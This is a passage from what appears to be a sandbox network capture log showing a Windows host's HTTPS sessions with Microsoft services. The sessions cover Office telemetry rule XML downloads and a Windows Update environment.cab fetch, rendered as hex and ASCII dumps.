2024-12-01 02:32:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 80135fc2-701e-001e-3d45-40f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023234Z-174f7845968px8v7hC1EWR08ng00000012f000000000h0s2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:33 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 37db9b91-d01e-0066-0516-41ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023234Z-174f7845968pght8hC1EWRyvxg00000005b000000000hutx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:35 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023235Z-174f7845968zgtf6hC1EWRqd8s0000000v5g00000000gy60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:35 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:36 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023236Z-174f7845968zgtf6hC1EWRqd8s0000000vbg000000001bqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:36 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e21e9151-601e-0097-6ab4-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023236Z-174f78459684db9fhC1EWRc7g4000000027000000000h7yw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:35 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:36 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023236Z-174f7845968qj8jrhC1EWRh41s000000124g00000000k170 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:36 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49731	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:36 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7BHvlzT3bUKzeVl&MD=fdcx8Vnk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-01 02:32:36 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: bfdcdf62-6d26-4c43-bb76-b248ee64941b MS-RequestId: 6395e4f4-7702-49e5-9172-a5e2df84c9bf MS-CV: SpM09xXrrU+TCA98.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 01 Dec 2024 02:32:35 GMT Connection: close Content-Length: 24490
2024-12-01 02:32:36 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-01 02:32:36 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:36 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:36 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 25bfb1e7-201e-00aa-3dab-423928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023236Z-174f7845968ljs8phC1EWRe6en000000121g00000000hhrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:36 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:37 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2132beec-901e-00ac-46aa-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023237Z-174f7845968cdxdrhC1EWRg0en000000126000000000g8cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:38 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 7090c7f2-e01e-000c-3ea1-428e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023238Z-174f78459685m244hC1EWRgp2c000000125g0000000078vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:38 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:38 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023238Z-174f7845968qj8jrhC1EWRh41s000000124000000000mu8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:38 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:38 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: feaf0f62-e01e-0071-4f14-4208e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023238Z-174f7845968zgtf6hC1EWRqd8s0000000v6g00000000fkwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
